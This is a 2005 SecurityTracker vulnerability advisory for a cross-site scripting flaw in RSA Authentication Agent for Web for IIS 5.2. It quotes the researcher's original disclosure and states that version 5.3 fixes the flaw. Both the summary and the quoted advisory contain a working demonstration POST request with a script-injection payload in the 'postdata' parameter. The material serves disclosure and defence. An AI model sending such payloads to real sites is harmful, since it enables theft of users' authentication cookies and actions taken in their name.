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RSA Authentication Agent for Web for IIS Input Validation Bug Lets Remote Users Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1013724
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SecurityTracker URL: http://securitytracker.com/id?1013724
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Apr 15 2005
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Fix Available: Yes
Vendor Confirmed: Yes
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Version(s): 5.2
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Description: A vulnerability was reported in the RSA Authentication Agent for Web for IIS. A remote user can conduct cross-site scripting attacks.
The 'IISWebAgentIF.dll' does not properly filter HTML code from user-supplied input in the 'postdata' parameter in HTTP POST requests.
A remote user can create a specially crafted POST request that, when submitted by a target user, will cause arbitrary scripting
code to be executed by the target user's browser. The code will originate from the site running the RSA Authentication Agent software
and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including
authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the
site, or take actions on the site acting as the target user.
A demonstration exploit request is provided:
POST /WebID/IISWebAgentIF.dll
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, application/x-shoc
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com
Cache-Control: no-cache
Referer: https://www.example.com/
Content-Length:
135
stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("Vulnerable")</script>&authntype=2&am
Oliver
Karow reported this vulnerability.
The original advisory is available at:
http://www.oliverkarow.de/research/rsaxss.txt
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
RSA Authentication Agent software, access data recently submitted by the target user via web form to the site, or take actions on
the site acting as the target user.
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Solution: The vendor has released a fixed version (5.3).
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Vendor URL: www.rsasecurity.com/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Windows (2000), Windows (2003)
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Message History:
None.
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Source Message Contents
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Date: Fri, 15 Apr 2005 01:28:29 -0400
Subject: [none]
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RSA Authentication Agent for Web - IISWebAgentIF.dll - Cross Site Scripting Vulnerability
=========================================================================================
Product/Version:
============
RSA Authentication Agent for Web for IIS 5.2
Vulnerability:
=========
Cross Site Scripting vulnerability in IISWebAgentIF.dll
Exploitation:
=========
Send the following request to the webserver:
POST /WebID/IISWebAgentIF.dll HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, applicati
on/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com
Cache-Control: no-cache
Referer: https://www.example.com/
Content-Length: 135
stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("
Vulnerable")</script>&authntype=2&username=asdf&passcode=jkl%F6
Discovered:
========
By: oliver karow
At: 09. April 2005
http://www.oliverkarow.de/research/rsaxss.txt
Vendor:
======
Vendor responded within one day and was very cooperative!
Homepage: http://www.rsasecurity.com/
Solution:
======
Upgrade to RSA Authentication Agent for Web for IIS 5.3
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